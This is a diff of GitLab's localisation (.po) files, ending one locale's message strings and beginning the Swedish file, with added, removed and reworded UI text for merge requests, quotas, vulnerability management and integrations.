msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35464,6 +36076,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35563,7 +36178,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -36109,6 +36724,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -36133,6 +36751,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36238,10 +36859,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36262,9 +36883,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36325,6 +36943,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36496,7 +37117,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36553,6 +37174,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36751,9 +37378,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36859,6 +37483,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36943,9 +37570,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -37054,6 +37678,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -37096,6 +37723,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -37105,9 +37735,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -37120,9 +37747,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -37177,12 +37801,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -37192,9 +37810,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -37207,9 +37831,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37243,18 +37864,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37300,9 +37909,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37495,9 +38101,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37801,9 +38404,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -38029,6 +38629,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -38053,6 +38665,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -38152,6 +38767,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38263,6 +38881,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38275,9 +38896,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38293,6 +38911,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38302,7 +38923,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38314,6 +38938,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38338,9 +38965,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38353,10 +38986,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38530,7 +39163,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38836,6 +39469,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38848,7 +39484,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -39022,6 +39658,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -39031,7 +39673,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -39145,6 +39787,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39418,13 +40063,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr ""
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39460,6 +40102,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39490,12 +40135,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39547,6 +40198,12 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39595,6 +40252,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39730,9 +40390,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39817,7 +40474,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39883,6 +40540,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -40075,6 +40738,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -40090,15 +40756,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -40108,6 +40768,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -40174,9 +40837,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40273,6 +40933,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40306,9 +40969,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40480,6 +41140,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40489,6 +41152,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40513,6 +41179,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40549,6 +41218,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40924,21 +41596,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -41092,9 +41752,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -41125,13 +41782,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -41143,6 +41800,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -41161,9 +41821,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -41206,9 +41863,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41242,6 +41896,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41251,12 +41908,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41293,21 +41956,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41320,6 +41998,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41359,9 +42046,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41392,9 +42076,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41410,39 +42091,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41605,6 +42277,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41788,9 +42472,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41815,6 +42496,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/sv_SE/gitlab.po b/locale/sv_SE/gitlab.po
index f327550b24d..b6c64aee221 100644
--- a/locale/sv_SE/gitlab.po
+++ b/locale/sv_SE/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sv-SE\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:38\n"
+"PO-Revision-Date: 2021-12-06 18:55\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr "\"%{repository_name}\" storlek (%{repository_size}) är större än gränsen på %{limit}."
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] "%d grupp"
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr "%{name} hittade %{resultsString}"
msgid "%{name} is already being used for another emoji"
msgstr "%{name} används redan för en annan emoji"
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr "%{name} är planerad till %{action}"
@@ -791,9 +817,6 @@ msgstr "%{oneWeekAgo} - %{today}"
msgid "%{oneYearAgo} - %{today}"
msgstr "%{oneYearAgo} - %{today}"
-msgid "%{openOrClose} %{noteable}"
-msgstr "%{openOrClose} %{noteable}"
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr "%{placeholder} är ett ogiltigt tema"
msgid "%{primary} (%{secondary})"
msgstr "%{primary} (%{secondary})"
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} kan inte läggas till: %{error}"
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr "%{start} till %{end}"
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr "(borttagen)"
msgid "(revoked)"
msgstr "(Ã¥terkallad)"
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
